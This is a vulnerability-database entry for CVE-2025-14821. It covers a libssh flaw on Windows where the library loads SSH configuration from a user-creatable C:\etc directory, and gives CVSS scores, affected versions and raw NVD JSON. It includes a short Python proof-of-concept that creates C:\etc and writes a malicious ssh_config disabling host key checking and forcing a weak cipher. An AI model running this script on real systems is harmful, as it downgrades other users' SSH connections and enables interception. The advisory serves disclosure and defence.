Security Vulnerability Report
中文
CVE-2025-14821 CVSS 7.8 HIGH

CVE-2025-14821

Published: 2026-04-07 17:16:25
Last Modified: 2026-04-29 12:11:05

Description

A flaw was found in libssh. This vulnerability allows local man-in-the-middle attacks, security downgrades of SSH (Secure Shell) connections, and manipulation of trusted host information, posing a significant risk to the confidentiality, integrity, and availability of SSH communications via an insecure default configuration on Windows systems where the library automatically loads configuration files from the C:\etc directory, which can be created and modified by unprivileged local users.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libssh:libssh:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:* - VULNERABLE
libssh < 0.11.4
libssh < 0.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Target directory vulnerable on Windows target_dir = "C:\\etc" target_file = os.path.join(target_dir, "ssh_config") # Create the directory if it doesn't exist if not os.path.exists(target_dir): try: os.makedirs(target_dir) print(f"[+] Directory created: {target_dir}") except Exception as e: print(f"[-] Failed to create directory: {e}") exit(1) # Malicious configuration to downgrade security or MITM # Example: Disable strict host key checking and use a weak cipher malicious_config = """ Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null Ciphers aes128-cbc """ # Write the malicious config with open(target_file, 'w') as f: f.write(malicious_config) print(f"[+] Malicious config written to {target_file}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14821", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:25.433", "lastModified": "2026-04-29T12:11:05.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libssh. This vulnerability allows local man-in-the-middle attacks, security downgrades of SSH (Secure Shell) connections, and manipulation of trusted host information, posing a significant risk to the confidentiality, integrity, and availability of SSH communications via an insecure default configuration on Windows systems where the library automatically loads configuration files from the C:\\etc directory, which can be created and modified by unprivileged local users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libssh:libssh:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.12.0", "matchCriteriaId": "98F11330-9F92-415F-9F48-6481E0040C46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:7067", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2025-14821", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423148", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.libssh.org/2026/02/10/libssh-0-12-0-and-0-11-4-security-releases/", "source": "[email protected]", "tags": ["Release Notes"]}]}}